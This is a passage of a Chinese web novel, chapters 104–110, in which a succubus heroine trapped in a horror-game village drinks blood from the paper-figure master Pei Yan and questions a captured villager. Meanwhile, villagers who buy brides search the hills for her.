大门轰然洞开,裴砚双眼一花,下意识伸出双手,一个滚烫的重物倒在了他的怀里。 “……之芙?” 女孩两颊酡红,双眼空洞无神,嘴唇干燥皲裂整个人倒栽在他怀里。 她这是生病了吗?怎么看起来……裴砚有些手足无措地接住怀里的人,正要指使小纸人去拿药,下一秒—— 滚烫的吐息扑在他的脖颈里。 “你……呼、呼-你好香啊……” 之芙喃喃而出的话语黏腻得像是要拉丝,语气也甜得像是蜜糖,几乎要把他溺毙。 裴砚像是木偶似地,手足无措地僵在了原地。 第104章 《她看不见》 “应该是我,比较好吃吧…… 天光大亮, 山中还弥漫着蒙蒙的雾气,在阳光之下,之芙的瞳孔缩成两条竖线, 在裴砚的视线中,显露出类似野兽的特征。 她重重地呼吸着, 喘气声之大像是一个重病的垂死之人, 连系统都意识到了不对劲:【之芙……之芙!】 一向沉稳而机械的系统也少见地失态了:【你怎么了?你被魇住了?等等……不可能,这个副本里没有任何会迷惑人心的力量……之芙!】 之芙的状态也确实很像是被什么奇怪的东西魇住了。 她的瞳孔不断收缩,全身的感官都失灵了, 只有胃部火烧般的饥饿一阵阵传来, 只有鼻尖闻到男人身上传来好闻的香气…… 那是一种很难形容的味道,不是香水似的香味, 而是…… 之芙吞咽着不断分泌出的唾沫。 而是, 一个饿了十几天的人, 在路边闻到的好吃的肉香。那些奇异的、不断勾引着魅魔犯错的气息源源不断地传来, 来源处正是裴砚脖颈下的血管, 随着跳动的血管渗出,越来越浓郁,也越来越香。 疑惑、惊愕、还有更多的迷恋和背离…… 他在纠结, 或许正在犹豫是否该跟兄长的妻子如此亲密。但他的视线和意识在理智之外, 不断被她吸引。他迟疑的情绪无疑是往美食上撒上了浓郁的香料, 让单调的吸引变得更加复杂。 “好饿……”之芙呢喃着, 双手圈紧了裴砚的脖颈,在他的胸前深深地呼吸着。 男人身上那股清冽的纸张气息也被浓郁的食物香气掩盖了, 他似乎很紧张,手臂紧绷着,之芙贴上裴砚不断滚动的喉结, 舌尖尝到了甜美的气息,犬齿刺破颈侧血管时,头顶传来一声闷哼。 血顺着他雪白而纤细的脖颈流淌,大部分进入了之芙的嘴唇,她贪婪地吞咽着,为新婚丈夫而穿的白纱裙上溅了血,不再洁净。 某一瞬间,她像是中世纪古堡里苍白、不见天日而贪婪的吸血鬼。 “……”奇怪的是,裴砚并没有觉得疼痛,相反,他只感到内心深处升起一阵虚无,仿佛所有的情绪都随着血液流向了之芙。他有些无力地伸出手,血滴滴答答地落在了他的指尖,继而砸向泥土深处。 他连呼吸都在发颤。像是有一双冰冷的手指伸进他的胸腔中不断翻找,却不是翻找脏器,而是心脏深处的悸动——“你在……呼。”他深深地呼吸了一下,才勉强保持着镇定说完一句话,“你在做什么?” 怀里的女孩并不答话,只是埋着头,像是急切的小兽吮吸奶水一般大口地吞咽他的血液。 “呃……”裴砚重重地喘息,“之芙……你、你怎么了?” 之芙抬起眼,幽幽地看着他。她的眼里像是闪烁着一簇火焰,落在人身上,能把人烧得滚烫,把人卡在喉咙里的字句烧掉面目全非。 她还没说话,不远处突然传来一声脚踩在枯叶上发出的脆响。 裴砚心中一凛,电光石火间转向那处—— 正对上了男人错愕到面目扭曲的眼。 正是老七。他去而复返,本是想回来偷窥,试图找到裴砚窝藏、放跑新娘们的证据。但没想到根本就不用偷窥—— 当事人竟就这样明晃晃地站在小楼前。 而且、而且! 从老七的角度看去,抱着女孩的男人,和埋在他胸前的女孩,还有裴砚不断发出的喘.息声…… 老七内心惊骇不已。虽然一早想到了裴砚放跑新娘,大概率是个不安分的,但没想到…… 她可是他的嫂子啊!如果让其他人知道了这件事……他下意识后退,转身欲逃,可恐惧和惊讶的内心让他没有注意到脚下的枯叶。 他只发出了一点点的声音,但裴砚远比他想的要敏锐。 他们之间的距离不近,心念转瞬他就在心里打定了主意:把这件事捅出去,让裴砚身败名裂! 他想得很好,但事实是—— 纸人远比裴砚反应要快。在他拔腿跑出几步后,无数的纸人忽然从他身后冲了出来,迎风暴涨,一拳敲在他的脑袋上。 “啊!!” 无数纸人顺着他的衣服扒在他的身上,他像是溺水的人一样动弹不得,浑身上下都疼痛不已,失去了肢体的掌控能力。 更让他害怕的是……纸人们把他放倒之后,就把他扛了起来。 就像是无数蚂蚁扛着一片面包屑似地:“你们……你们要干什么!” 纸人自然不会跟他说话。它们无视了他的尖叫,献媚似地,它们把他抗到了之芙的面前。 血顺着她的脸颊滑落到了男人的脸上。冰冷、血腥,充满着死亡的气息。 老七慌乱极了,慌不择言之下大骂起来:“你、你们……!!你们这是叔嫂□□!不知廉耻!你们这是要造天谴的!你们、应该把你们拉去埋山!” “……”之芙似乎是听到了。她的犬齿从裴砚的血管里撤出的时候,裴砚又低低地喘.息了一声。 但她并不看向这个满嘴脏话的男人,只是看着小纸人,笑道:“你们要献给我新的食物吗?” 小纸人殷勤地点点头,期待地看着她。 虽然是裴砚意识的一部分,但作为纸人,作为异类,它们比裴砚本人更明白她在做什么。 之芙舔了舔唇。残留在唇瓣的血顺着舌尖卷进口腔,透着回味无穷的甜蜜。 她看着明显露出慌乱的男人,舌尖划过尖锐的犬齿,蹲下身去,张开“血盆大口”—— 然后被瞬间扯了回去。 她踉跄了一下,好容易站稳,有些惊讶地看向了身后拉住自己的人。 裴砚垂着眼,纤长漆黑的眼睫如同蝶翅般微微翕动,眼睛却紧紧地盯着她不可肯移开,他脖颈上还在流血,顺着洁白的脖颈往下淌,让他苍白的脸色显出几分脆弱,像是雪白易碎的瓷器,但他却顾不上包扎。 “别……别吃他。”他抿着唇,唇瓣几乎没有血色,“那种人太脏了。” “应该是我,比较好吃吧?” 第105章 《她看不见》 裴砚毫无预兆地冲上去,…… “……什么?” 之芙有些茫然地抬起头。 裴砚的表情却很镇定。他看起来完全不像是刚被魅魔吸过血的人, 除了脸色有些苍白、脖颈上的血迹还未干涸之外,看起来就像是什么都没有发生过。 他的眼神居高临下地扫过男人,下了判断: “这个人虽然有些小聪明, 但喜欢自作聪明,心思重、心机多, 自私贪婪, 阴险狡诈,还虚荣又庸俗。最重要的是……” 老七的脸涨得通红。 “怎么看,都比不上我吧?” 之芙蹲在地上, 只“唔”了一声, 被纸人扛着的男人便表情扭曲地破口大骂起来:“比不上你虚伪!你以为我不知道,你多羡慕我啊, 现在又不是当初你羡慕我能离开这里的时候了!虚荣又怎么样, 自私又怎么样!比你这个文盲好!” 一股夹杂着酸臭的腐烂味道从男人身上传了过来。这也很熟悉, 是愤怒、嫉妒和扭曲的味道。 之芙嫌恶地捂住鼻子。即使来到人类的社会, 见识过许多虚伪的人, 她也从来没有闻到过这样臭的味道,简直让人倒尽了胃口。 即使被这样指着鼻子骂了,裴砚也依然巍然不动。他没有一丝为此生气的意思, 看他的表情, 老七对他来说从始至终都只是灰尘一般轻飘飘的存在, 他从来没有放在心上。就像——蚂蚁踩了人一脚, 人会为此生气吗? “可是,现在看起来是你比较羡慕我。”裴砚平静地道, “难道你以为我在辱骂你吗?这只是我的判断,也是纸人的判断。” “你羡慕我能操纵纸人,也怨恨纵纸术为什么会选择我。”裴砚用平淡的语气, 像是在说一个众所皆知的事实,“但你应该没有忘吧,是你放弃了它们,这些纸人。” 老七像是被噎住一样满脸通红,他急促地、重重地呼吸着,声音之大像是野猪的哼哧声,简直要让人怀疑他下一秒钟就会被裴砚陈述的事实气晕过去。 之芙竖起耳朵:“什么事?”还有线索?还有剧情?还有什么是她不知道的? 裴砚看了她一眼,倒没有隐瞒的意思:“小时候,裴家会选出合适的继承人,来继承纵纸术。操纵纸人的白先生必须得到纸人的亲近,就像你,你就很适合做白先生。” 说着,小纸人跳到了之芙的肩头,亲昵地双手抱住她的脸,贴着她的脸磨蹭,脸上还露出了痴迷的微笑——就像一只抱着猫狂吸的人类。 之芙被纸人蹭得脸好痒,忍不住笑出了声。她看向被纸人绑在地上的男人,纸人不喜欢他,大概也是看出这是个虚伪的人类。 而纸人那么喜爱她,大概因为她是个魅魔吧。从某种角度上来说,她和它们才是同类。 “当然,更重要的是……”裴砚伸出自己的左手,看不见的、血丝一般的红线又若隐若现地从虚空中浮现出轮廓,一端连接着他的无名指,而另一端连接在纸人的身上,“要对自己够狠心。” 他残缺的无名指,断面整齐而利落,像是被某种利器齐根砍掉,在断面浮现出珍珠般的光泽。 之芙猜到了什么,但有些不敢置信:“意思是……” “意思是,要用剪纸的剪刀剪断自己的手指。” 裴砚轻描淡写。但仍可以想象出当年的场景:一群懵懵懂懂的孩子聚集在一起,被要求剪断自己的手指,以此换得学习操纵纸人的秘术的机会。 他那个时候大概还很小吧?一个小孩子,是下了什么样的决心,才能忍痛剪断自己的手指? “呵……哈哈哈哈!”老七忽然讽刺地大笑,面露讥讽,“你当然对自己狠心!我又不像你,你是个孤儿,要是当不了裴家的养子,就只能去山里喂狼!” 老七愤愤地说:“心狠?是你走投无路了吧!说得这么好听!我就不一样了,爹娘送我去外面的世界,去读书,你不羡慕!” 裴砚表情冷漠。 老七面目狰狞,声音大得几乎能震动天地,仿佛只要说得够大声,他的话就能成为真相:“我的人生是我自己选的!就算回来也是我自己选的!你就不一样了,哈哈哈哈哈……裴砚,我真可怜你,你什么都选不了,还成了残疾,日子过得很难受吧?” 之芙:“……” 之芙那在人类社会浸染太久的DNA都要动了,这话怎么听着这么熟悉呢?她下意识抬起下巴接话道:“日子再不好过,现在不也好过了?哼,我劝你还是老实点,大放厥词有什么意义?现在被绑在这里,要被我吃掉的是你,不是裴砚。” 老七噎了一下,那张气得通红的脸一转朝向她,愤愤道:“呸!什么时候轮到小娘们说话了?” 之芙眨了眨眼,纸人比她反应还快,一脚踩在男人的脸上,一巴掌就扇上去了。扇完,它还叉着腰站在男人的脸上,一副“再敢说话就抽死你”的表情。 裴砚冷冷地盯着他。男人顿了顿,脸上露出了有些畏惧的表情。但很快,似乎是觉得有些丢人,他的脸涨成了猪肝色——也不知道是被纸人打的还是羞辱的。 之芙觉得他看起来一点也不聪明。聪明人会在这个时候口出狂言吗?但他现在表情隐隐畏惧,嘴巴咬得死紧,看起来是不会再说话了。 但他不说话,怎么知道更多的线索? 之芙垂下眼,悄悄地往男人脸上吹了一口气。 果然,男人一愣,继而瞳孔变得浑浊,安静几秒钟之后他再次破口大骂:“裴砚你个死全家的东西,我真是看错你了!不,是村里人都看错你了,他们肯定不知道吧?你现在干上跟嫂子偷情的勾当了!” ——第一次,裴砚的表情变了。像是被戳中了要害,他微微一顿,下意识用手捂住了脖上的伤口,沉下脸色,紧紧盯着男人,一字一句地警告:“谨言慎行。” “谨言慎行?”男人轻蔑一笑,扯开嗓子大吼道,“你做出了这样的事情,还不准人说了!来人啊!有没有人看一看——裴砚在跟他的嫂子偷——” 他的话还没说完,就被打断了。 但这一次,不是纸人。 裴砚毫无预兆地冲上去,一拳结结实实地揍在了男人的脸上! 第106章 《她看不见》 “那就成为纸人,永远留…… “砰!”地一声, 皮.肉相接的闷响传入脑海中,之芙呆立在原地,只能愣愣地看着滚在地上、一拳揍在男人脸上的裴砚。 ……这似乎还是她第一次见裴砚这么大动干戈。这个男人平日里做什么都有纸人代劳, 哪怕是接物倒水这样的小事,操纵起纸人来也是如臂指使, 动动手指就好, 他自云淡风轻,不染尘埃。 即使没有纸人,像裴砚这样冷静的人类, 之芙也很少见他们愤怒的样子。他这样的人类总是把愤怒压抑得很好——就像刚刚, 明明被男人指着鼻子骂还不动声色地反驳那样。 小纸人尖叫起来,似乎连他们也没想到主人的怒火来得如此汹涌——尽管谁都知道这是为什么。 但预想中, 激烈而血腥的场景并没有出现。 在一拳揍下去后, 裴砚也顿了顿。 从之芙的角度看不到他的表情, 却能看到被按在地上的男人那吃痛的、震惊中又带着“果然如此”的得意的表情。 ……可恶, 突然也觉得手好痒怎么办。 之芙也觉得裴砚挺无辜的。明明还什么都没干呢, 就被兜头泼了一盆脏水——裴砚可规矩得很。不仅规矩,之芙连着好几次攻略他他都毫无反应之外,更重要的是裴砚是个大——好人。 一边小心翼翼地拯救着被骗来被卖来的可怜的新娘们, 一边战战兢兢地维系着这个村子的平静和安详。 明明已经做到这么好了, 还要被人恶意揣测和污蔑。 只是因为人类的嫉妒。唉, 人类, 唉,人类。 之芙心里感叹着为裴砚抱不平, 但裴砚似乎并不这么想。 他没有报复的意思,一拳过后就冷静了下来。表情冷淡地擦掉了拳头上的血迹,随后一挥手, 纸人便被他操纵着拉起躺在地上的男人,像是拖死狗一样把他往小楼里拖。 他回头,眼神复杂地看了之芙一眼,随后转身进了小楼。 之芙站在原地:??? 就这么……突然地一拳,又突然地离开了?她还没反应过来发生了什么呢! 而且……裴砚这复杂的,像是纠结又像是羞愧的眼神,是什么意思? 之芙百思不得其解地站起身,冲裴砚的背影喊了一句:“裴砚!” 裴砚脚步停顿一瞬,但没有回头,只是继续往前走。 之芙摸不着头脑,想起这个男人出现时裴砚最后一次对她说的话,挠了挠脸颊,问: “裴砚,我还饿着呢!” 裴砚这次停下了。 之芙指着那个半边身子被拖进屋里的人,说:“你刚刚不是说你比他好吃,让我选你吗?” 裴砚:“……” 裴砚明显踉跄了一下。 他侧过头来,半张脸冷峻得如同寒夜,不苟言笑的样子,哪里有方才半分迷乱? 他冷冷地说:“谨言慎行,你什么都没有听到。” “……”之芙只觉得莫名其妙。她又问,“你在说什么?” 裴砚避而不答,那只残缺的无名指指向了远处笼罩在薄雾里的山峦,他仿佛自醒般喃喃道:“你是我的嫂子,男女有别。” 又说:“留在这里的下场你已经看到了。尽快离开这里,如果你还不想死的话。” 风吹起他的发梢,把无名指上浮现出的若隐若现的红线吹得摇摇晃晃。 “如果我想留在这里呢?”之芙问。 裴砚又猛地把头侧了回去。用力之大,仿佛在逃避什么。 “那就成为纸人,永远留在我身边。” 第107章 《她看不见》 “所有人都知道,他会死…… “啪嗒”、“啪嗒”…… 脚步声回响在寂静的小楼里, 仿佛亘古寂静的时光里,打破压抑的一声叹息。 裴砚却低着头,缓慢地走上一阶一阶的木质台阶。侧窗透出的细微的光线落在他的脸上, 随着步伐忽明忽暗,闪烁不定, 仿佛主人挣扎的心境般纠结和灰暗。 “裴砚?”身后的声音打破寂静, 紧跟着是之芙急匆匆而来的脚步声,“裴砚,你是什么意思?” “……” 裴砚闭了闭眼, 顺着台阶往上, 一步、一步、又一步。寂静的空间里只有脚步声,前路仿佛永远也没有尽头, 直到抵达那个预言中的终点。 “裴砚!” 又是啪嗒啪嗒的脚步声, 急切地、充满活力的, 几乎能让人联想到她轻巧地像是小鹿一般的身影是怎么一步一跳地跳上这些台阶, 那是充满活力和生机的姿态, 以一种不容抗拒的声音再一次打破了寂静。 “你怎么了?你不开心啊?” “……”裴砚固执地往前走,没有回头。 “喂——”拖长的声音从身后跳到身前,像是小鹿轻轻地一跃, 紧接着是一双温暖的手掌, 不由分说地拉住他的领子。 裴砚猛地顿住了。 “我说, 你为什么不理我啊?”之芙发问了。她揪着他的领子, 看这样子,不问出个所以然来不会罢休, “因为那个男人说的话?他骂你的时候,你也不生气啊。而且,他骂的是我, 为什么你也不理我?” “……”裴砚又沉默了几分钟,从干涩的喉咙里挤出了这句话,“没有不理你。” “哈?”之芙大跌眼镜,“这还不算不理我?你们人类的标准真奇怪。” 裴砚垂着眼看向她,月光照亮了女孩的面庞,连脸颊上最细小的绒毛都纤毫毕现,被月光映得闪闪发光,仿佛初生的羔羊般纯洁无辜,气得脸蛋都鼓起来,干净柔软得像个不通世事的孩子。 这不算不理她,当然也不算生气。裴砚心想,就算是生气,也是对着自己。 她不明白他为什么不理他,他明白。那不是生任何人的气,甚至不是气老七。他就是…… 就是为自己的心动感到羞愧。 他怎么能这样?怎么能……对兄长的妻子动心? 他不该停在这里,在这个台阶上。这像是某种不详的预示,某种意有所指的停留,会带来灾难般的后果。裴砚又抿住唇,从之芙的手里把自己的衣领解救出来,越过她。 “等等!等等等等……”之芙又一把拉住他的袖子。 虽然不知道裴砚怎么了,但她还有话想问。 “裴砚,那个男人说的,是什么意思?” “什么?”裴砚竭力保持冷淡。 “就是,那个男人说的,说你是继子的事情。”之芙有些小心翼翼,怕触碰到裴砚的伤心事,“你想离开是什么意思?” 月光下,裴砚毫不留情地越过她,走向上方的楼梯,继而他转身,短暂地停留了一瞬。 光没有照亮他的脸。 “无论生死,一直被困在一个地方,想离开也很正常吧。”裴砚平静的语气仿佛不是在说他自己,“我哥哥一直想让我离开。可惜,他死了。” 之芙愣了愣,想起老七话中的破绽,又问:“如果裴家需要继承人,为什么要收养你呢?有你哥哥不就够了吗?” 裴砚依旧平静:“因为所有人都知道,他会死在五天前。” 第108章 《她看不见》 他不再注视窗外的天光,…… 这话犹如一声平地惊雷, 骤然炸响在寂静中。 “……什么意思?”之芙疑惑,“你哥哥身体不好吗?” 这样的话就说得通了。为什么裴钰要跟提前她定下娃娃亲,为什么裴家有了继承人, 还要收养裴钰,为什么裴钰和裴砚之间的关系尊敬大于亲近。 如果裴钰身体不好的话, 裴家早就物色好的继承人就是裴砚…… 也就是说——这部游戏的男主角, 是裴砚? 之芙正思考着自己所了解的剧情还有没有错漏,忽然听见头顶传来裴砚的声音: “不是。” “……呃?” “是命数。”裴砚的声音传来,在寂静的夜里显得诡异而幽深, 但他的语气又是那么的平静, 仿佛在下达一个判决,“命数恒定, 在一个人降临在这个世界上的时候, 他未来的一切就都被写好了。” “所以?” “所以, 在裴钰降生时, 所有人就都知道, 他会死在五天前。” 之芙张了张嘴:“他自己也知道吗?” “当然。”裴砚轻描淡写地带过了这个话题,“所有人都知道。” “那……既然早就知道这件事,为什么不改写命运?了解自己的未来之后努力躲避既定的命运……这不是你们人类常做的事情吗?” “如果命运真的那么容易改写, 就不叫命运了。”裴砚自嘲地笑笑, “你不知道吗?‘我们人类’有一句话叫做, 人总是会在逃离命运的路上, 与它当头撞上。” 叽里咕噜说什么呢,小魅魔听不懂。之芙茫然地看着他, 裴砚只是摇摇头,没有要解释的意思。 “那好吧,那你准备把那个男人怎么样?”之芙只好换了个话题问, “你要动手吗?动手的时候……能不能叫上我?” “……”裴砚的视线平移了过来,他不答反问,“如果他离开这里,你知道会发生什么吗?” 之芙跟他对视了一秒,迟疑道:“呃……我知道?”大概就是被抓住、被污蔑、被辱骂然后死掉……但这跟她的问题有什么关系吗? 裴砚却完全没有看出她的疑惑,”哼“了一声冷冷地道:“你知道就好。善良是好事,但要小心,别害死自己。” 之芙眨了眨眼,后知后觉地意识到裴砚想岔了:“我不是这个这个意思。” 裴砚怀疑地看着她。 之芙说:“我的意思是,你杀人的时候,我能站在一边看吗?” ——她还没吃饱呢!虽然也嫌弃跟那个男人的味道,但站旁边也能吃点。 说起来,她还没吃过人类临死前的感情呢……会是什么味道的? 裴砚抽了抽嘴角,果断转身:“不行。” “啊?”之芙的遐思被他一句轻飘飘的话斩断,大失所望,“为什么不行?我又不怕这个……杀人什么的,我见得多了。” 裴砚微微瞪大了眼睛:“……见得多?” “对啊。”之芙说,“杀人和被杀是很正常的事情吧。”顿了顿,她又意识到自己身处的环境跟人类的世界不太一样,找补道,“在我们那里。” 裴砚的表情看起来是不太相信。 也对,人类世界在大部分时候都是和平幸福的,而且他们还有警察和法律这种东西。第一次发现这点的时候,之芙也很惊讶。 这里和魅魔的社会不一样,用人类的话来说,魅魔是恶魔的种族,他们从出生起就是特别的、天性邪恶的,对生死的感知很淡漠——不过嘛,从之芙的见识来看,人类社会这样的和平才是特别的。 在其他生物的世界里,朝生暮死、杀死对方和被对方杀死都是很常见的事情,可能早上还在吃饭,下午就成为别人的食物。 所以之芙也并不觉得这个游戏很恐怖——虽然弹幕里那些观众看起来非常害怕。不过,这些只是她的日常生活。 之芙想了想,觉得裴砚这种脆弱的人类可能确实很难理解她,于是说:“游戏里很常见。” 生存和死亡,也是人类的创作中永恒不变的主题,之芙曾在无数的游戏、动漫和小说里见过它。 大部分人类最接近这些东西的时刻,大概也是体验这些创作的时候吧。 从表情上来看,裴砚似乎还有些疑惑,但最终被她说服了。他松了口气,走上了最后一节台阶,回头看来,无奈地道:“想什么呢,我是那种人吗?” 之芙挑眉:“你不是?” 裴砚看起来很想敲她的脑袋,但最后还是放弃了:“比起担心他,还是担心担心自己吧。他活得越久,你就越危险。而且,那些人还在外面找你,你不记得了?等到他们发现他也失踪了……恐怕我也藏不住你。” 那就是现在还藏得住的意思。那群村民在外面漫山遍野地搜索她的踪迹,大概没几个人能想到,她就躲在裴砚的身边,灯下黑莫过于此了吧? 之芙想起他在外面说的话:“所以,我丢在路上的那个背包,真的是你拿走了?” 裴砚不语,摆了摆手,一个小纸人从他的袖口怯生生地探出脑袋,表情腼腆地跟之芙打招呼——这就是它干的意思了。 “辛苦辛苦,谢谢你啦!”之芙也笑眯眯地跟它打招呼。 小纸人的脸上漫上红晕,“咻”地一声又躲了回去。 裴砚不动声色地拢住袖子,仿佛也试图掩盖住他耳根的绯红色。 眼看着他要走,之芙又问:“对了,裴砚!” “什么?”裴砚转头。 “我有个问题想问。”之芙深吸一口气,她难得地收起了笑容,表情严肃了起来,盯着裴砚的眼睛,问,“如果裴家人能算出裴钰的命运,那么……” “裴砚,你的命运是什么样子的?” “……” 裴砚一时没有答话。他抬起头,视线追着窗外的一缕天光。 从之芙的角度看去,她只能看到,光影把他深邃的眉目分割成两面,一面隐藏在阴影中,透出令人捉摸不透的阴郁感,而另一面却被阳光照得透亮,连轮廓都在过盛的光里连成一片,模糊得看不清表情。 “我不知道。” “不知道?可是不是说,所有人都知道——” “我不知道。”裴砚冷静地打断了她。 他不再注视窗外的天光,收回视线,转身离开了。 第109章 《她看不见》 “就剩这点时间了!”…… ……奇怪。 之芙推开房间的大门, 走到梳妆台前坐下。 真奇怪,裴砚为什么要说不知道?这简直是前后矛盾嘛!他是不知道,还是不想跟自己说? 小纸人小九从她的肩膀上跳下来, 气喘吁吁地说:“吓死我了!芙芙,你怎么了?你不舒服吗?” ——刚刚外面那些村民和裴砚在, 她不敢说话, 现在终于又回到了房间里,可算是松了口气。 之芙没回答这个话题,轻飘飘地略了过去。她撑着下巴, 看向镜子里的小纸人。裴砚说过, 这些纸人一部分是他的意识的分身,另一部分就是像小九这样被他救过的可怜人。 所以……小九会知道裴砚的命运是什么吗? 之芙点了点它的额头:“小九, 你知道裴砚的命运是什么样子的吗?” 小九却茫然地抬起头看向她。它听到了之芙和裴砚之间的对话, 但一头雾水:“我不知道。芙芙, 你忘啦?我也不过是前段时间才来到这个村子里的, 不比你早多少。” “不过……”它又低着头想了想, “我在那家人那边住的时候,似乎听到有人提起过裴砚……” 之芙竖起耳朵,只见小纸人沉吟了一会儿后, 不太确定地回忆起来:“那天我被绑来这个村子, 醒来之后就被压着抱着一只公鸡拜堂……当时人很多, 房间里很热闹。隔着头纱, 我看到他站在主位旁边,其他人都喜气洋洋的样子, 但他没什么表情。” 第一次见面,裴砚就给她留下了深刻的印象。 “后来我被喜娘扶着回到喜房,有一群人围着我, 我也不敢动。过了一会儿,裴砚过来,说要收回自己的纸人,让其他人离开。” “……他收回了那只公鸡——那只公鸡居然是纸人,把我吓了一跳!不过,就是那个时候,他给了我一些东西,一个背包,一件外套,还有一些逃命用的东西。” “他让我快点走,一定要在七天之内逃出去。……我有点害怕,但他说如果不想死的话就……” 小九顿了顿。 “那是我第一次见到裴砚。后来……我没能逃走,被抓回去,打了一顿。我害怕了,想着等到那些人放松警惕再跑,而且,他们对我其实挺好的。就……很尊重的态度吧。在那里,我有个名义上的哥嫂,还有公婆,按照辈分来说,他们应该是我的长辈,但是态度很奇怪,事事都以我为先,除了不允许我离开之外,从小事到大事都要征求我的意见……” 这真的很奇怪。毕竟小九跟他们不熟,对这个村子也不熟,可他们却似乎非常尊重她的意见,即使是吃饭这样的小事,所有人都要等到她动筷子之后才夹菜吃饭。 她就这样被他们和善的态度和关心迷惑了,掉入了陷阱之中。 “我听他们提起过裴砚。他们对裴砚的态度也很恭敬,称呼他为‘白先生’,这就是操持白事的先生的意思。好几次饭桌上听到他们聊天,说裴家可能要绝后……裴砚娶过几个妻子,但那些‘妻子’没几天就跑掉了。而且,听说裴砚对此没什么表示,当时饭桌上,我的‘嫂子’问裴砚是不是不行……但立刻被骂了。” 小九咳嗽了一下:“扯远了!不说这个。我刚被抓回去那天,听到他们说,这几年跑掉的新娘变多了,而且偶尔有被抓到的,身上都带着外套和逃生的东西,不像是临时准备的……他们猜是不是有人偷偷帮那些新娘逃跑。” “他们没猜到裴砚的身上吗?”之芙问。既然是最近几年的事情,那应该就是裴砚成为白先生之后的时间了。 小九说:“他们打过我,逼我说出是谁在帮我逃跑。但我没有说出裴砚的名字,咬死了是自己被绑的时候悄悄带在身上的……他们也不敢打我太狠,所以最后还是不了了之。” “他们提到过裴砚,不过没什么人相信。他们说:‘白先生会永远留在这里’,所以,没有人想到是裴砚做的。别的……就没什么了。他们很少提起裴砚,如果不是家里有人要办白事的话,我觉得大部分人对他是害怕大于尊敬吧。” 就像她一样…… “白先生会永远留在这里……”之芙咀嚼着这句话,总觉得这句话听起来简单,仿佛只是一句平常闲话,但其中又似乎蕴含着别的什么深意,只是具体是什么,她一时半会儿还想不明白。 现在她拿到的线索还很散,只能拼凑出一个支线的轮廓。她正思索着这句话的具体含义,忽然感觉自己的手指被纸人柔软的纸张碰了碰。 她下意识低下头,只见小纸人小九一脸担忧地看着她。 “怎么了?”之芙忍不住笑了起来,小九小小的纸片脸颊,做出这样的表情实在是可爱。 看到她笑,小九却笑不出来。她有点气呼呼地、恨铁不成钢地戳了戳之芙的手,粗声粗气地说:“比起这个,你不该关心一下自己的吗?” “……关心自己?”关心什么?没吃饱吗?唔……她确实应该关心一下自己,毕竟还没吃饱。 小九满脸忧心:“这已经是第五天了,芙芙。第七天他们就会……你只有一个白天和两个晚上的时间了。” 就像是裴砚说的,她应该快点想办法离开这里。 之芙也愣了愣,掰着手指算了算,悚然一惊,她猛地从椅子上站起身:“就剩这点时间了!” 小纸人小九也跟着狠狠地点头:没错,就剩这点时间了!快想办法离开这里吧! 之芙在房间里转了几圈,挠着脑袋。 小九弱弱地开口:“芙芙,你也别太着急了,那些村民现在都在外面找你,现在出门不是撞上枪口了吗?不如先去问一问裴先生,等到晚上——” “对啊!”之芙猛地一拍手,恍然大悟,“你说得对啊!” “……什、什么?” 忽然一阵晕头转向,之芙把它从梳妆台上托了起来。她的脸在眼前放大,小九听见她高兴地说: “我可以直接去问那个男的啊!他现在应该被裴砚关在小楼里吧?我找找……” 第110章 《她看不见》 没有头的尸体…… 与此同时, 小楼外的不远处,被薄雾笼罩的群山之间。 一群村民正举着火把,漫山遍野地寻找着白先生家“逃跑的新娘”, 脚步踏遍山崖,踩碎一地的落叶和泥土, 有人带着家里的狼狗, 人声混着狗叫声络绎不绝,声势浩大。 “快找!” “叫老大的家的去那边山头找,一个女人, 又不熟悉路, 她跑不远!” “对对,还有之前逃跑那几个娘们的路也找一找, 多半就在那边!” “汪!!汪汪!!!”狼狗突然对着一处草丛狂吠起来, 众人精神一震, 狂喜地掀开草丛—— 想象中瑟瑟发抖的女人蜷缩在草丛里哭泣的画面没有出现, 草丛空空荡荡, 四周也一片安静,不像是有人躲藏在里面的样子。 “汪!汪汪!”狼狗又对着另一处草丛狂吠,众人再次扑去——依然毫无动静, 不见人影。 “可能是没吃饱饭。”那个拉着狼狗的男人讪笑着, 狠狠地照着狗头打了一巴掌。真奇怪, 这狗以前找人的时候明明很灵, 偏偏这次就…… “呜呜……呜……”狼狗呜咽地看向主人,清澈的眼里写满了委屈。但它的主人可读不懂它的心, 、拽着狼狗的链子,吆喝着就把它带回了家。 在无人注意的角落,一只白色的小纸人探着脑袋, 从狼狗指向的草丛里大摇大摆地走了出来。没有人注意到它,也没有人知道,是它吸引了狼狗的视线,扰乱了它的判断。 小纸人在其他人的视线里一闪而过,赶往下一个地点,兢兢业业地干扰着他们找人的进程。 时间就在这被设计好的、被导引的找寻中度过,日头渐渐西沉,如血一般的晚霞透过薄雾撒下颜色璀璨的光,凝固在崎岖的枝头。 找过了一个山头又一个山头,却连一丝半点的线索和踪迹都没能发现,村民们不由得有些泄气了。 “那娘们昨天晚上就跑了,到现在怕是已经跑远咯!”一个穿着粗布麻衣的村民站起身来,靠在路边白桦树上,桦树上的树结像是一只只眼睛,沉默无声地注视着这群气喘吁吁的村民和他们的恶行。 “那咋办?!”说话的人一脸老实相,说出来的话也理直气壮,丝毫看不出他说的这样的邪门歪理,“总不能让她跑了吧!这可是买来的媳妇,跑了还得了?” “就是!就是!”不断有人附和,“一个跑了,那岂不是我家的也能跑?没有这样的先例!” 一开始说话那人思考了片刻,说:“这样,咱往外再找个几公里,找到那个山头——没找到的话,就分批去吃饭,晚上再找!我就不信了,一个小娘们能跑多远!” “老大家的,你和你媳妇找这边;老三家的,你们去找那边山头,对了,一定要守好了附近的大路小路,那个娘们肯定要顺着公路跑,从村里开车去公路只要十几分钟,无论她跑到哪里去,都要上公路,我们一定要——” “嗯?”男人发现,自己面前的一大群人都用一种恐惧的目光看着他,仿佛在看什么怪物似的—— 更准确来说,是在看着他的身后。男人咽了口唾沫,下意识看向了老大家的儿子:对方瞠目结舌,嘴巴大得像是要掉下来,但下一秒,他就连忙收回了视线,仿佛很害怕被他看到似的。 “老、老大家的……”男人结结巴巴地问,“发生啥事了?你为什么……” “不!不不不!!”老大家的脱口而出一声尖叫,“我什么都没看到!我,我什么都没有看到!我什么都没有……都没有……”他反复念叨着同一句话,头像是被人斩断了似地深深地垂在胸前,不敢抬起,也不敢被人看到。 其他人也面露惊恐,不约而同地做出了跟他一样的动作。 男人又吞了口唾沫,意识到了什么。他下意识撇头往身后看去—— 不知何时,他们已经走到了祖坟。不远处,在巨大的天幕笼罩下,无数黑色的墓碑矗立在血色的夕阳下,背对着他们,拉出了细长的黑色剪影,一晃眼看去,就像是一个个黑色的身影矗立在那里。 